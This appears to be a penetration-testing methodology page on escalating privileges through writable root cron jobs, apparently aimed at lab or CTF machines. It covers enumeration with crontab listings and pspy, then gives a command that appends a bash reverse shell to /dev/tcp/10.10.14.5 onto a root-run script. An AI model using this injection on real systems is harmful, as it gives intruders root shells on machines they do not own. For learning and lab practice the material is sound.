Cron Job Exploitation
Concept
Scheduled tasks (cron) frequently run as root and execute a script. If that script, or a binary/directory in its PATH, is writable by a lower-privileged user, the next scheduled run executes attacker-controlled code as root.
When to Use
- SUID and sudo checks come up empty.
- A box's theme/hint mentions 'scheduled tasks' or a suspiciously recent file modification time appears.
Workflow
- 1List visible cron jobs
/etc/crontab, /etc/cron.d/*, user crontabs.
- 2Observe actual execution with pspy
Since many cron jobs aren't visible to low-priv users.
- 3Check permissions on each referenced script/binary
Writable = exploitable.
- 4Inject a payload and wait for the next run
Reverse shell or SUID-bit addition.
Commands
cat /etc/crontab; ls -la /etc/cron.d/cat /etc/crontab; ls -la /etc/cron.d/
Reads the system-wide cron table and per-service cron drop-in directory.
When to use: First look at scheduled tasks — these are usually world-readable even if not writable.
Expected output:
*/5 * * * * root /opt/backup.sh
Look for: Any job running as root that points to a script outside /etc or /usr (more likely to be writable).
Next step: Check permissions on /opt/backup.sh with ls -la.
./pspy64./pspy64
Monitors running processes without needing root, revealing cron jobs and their exact command lines as they execute — including ones not visible in crontab files you can read.
When to use: When crontab listing doesn't show the full picture, or you suspect a hidden/undocumented scheduled task.
Expected output:
CMD: UID=0 PID=1337 | /bin/bash /opt/backup.sh
Look for: Repeated execution of the same script/binary at regular intervals as root/another user.
Next step: Check write permissions on that exact path.
echo 'PAYLOAD' >> WRITABLE_SCRIPT_PATHecho 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1' >> /opt/backup.sh
Appends a reverse-shell line to a cron-executed script you have write access to.
When to use: Once you've confirmed the script is writable and runs as a privileged user.
Expected output:
No immediate output — wait for the next scheduled run.
Look for: A new connection on your listener when the cron job fires.
Next step: Catch the shell on your listener; confirm id shows the elevated user.
Tools
pspy
Unprivileged process monitor — snoops on process execution via /proc polling, revealing cron/scheduled activity.
When to use: Any time cron is suspected but crontab files aren't fully visible.
Download the pspy binary release and transfer to target; no install needed on Kali (it runs on the target)../pspy64 (or pspy32 on 32-bit targets)Example workflow: Run and leave it for a few minutes; watch for periodic command executions tied to root.
Findings & Interpretation
Interesting
- World-writable script referenced by a root cron job
- A cron job invoking a binary by name without an absolute path (PATH hijack opportunity)
Suspicious
- Script with overly permissive mode (777) owned by root
False Positives
- A writable script that isn't actually scheduled anymore — confirm it's live via pspy, not just present in a crontab
How to Validate
- Watch pspy output across at least one full interval to confirm the job still fires
Next Step
- If the script calls other binaries without full paths, consider PATH hijacking instead of direct script edits.
Troubleshooting
Appended payload never triggers.
Likely cause: Cron job was disabled/removed, or you edited the wrong copy of the script (symlink/path mismatch).
Verify: Re-run pspy to confirm the job still executes and check you're editing the exact path pspy showed.
Fix: Re-check with ls -la that your edit persisted (some setups reset the script from a template on each run).
Recovery: Look for an alternate persistence point (another cron entry, a systemd timer) if this one is a dead end.
Avoid repeating: Confirm live execution with pspy before investing time editing a script.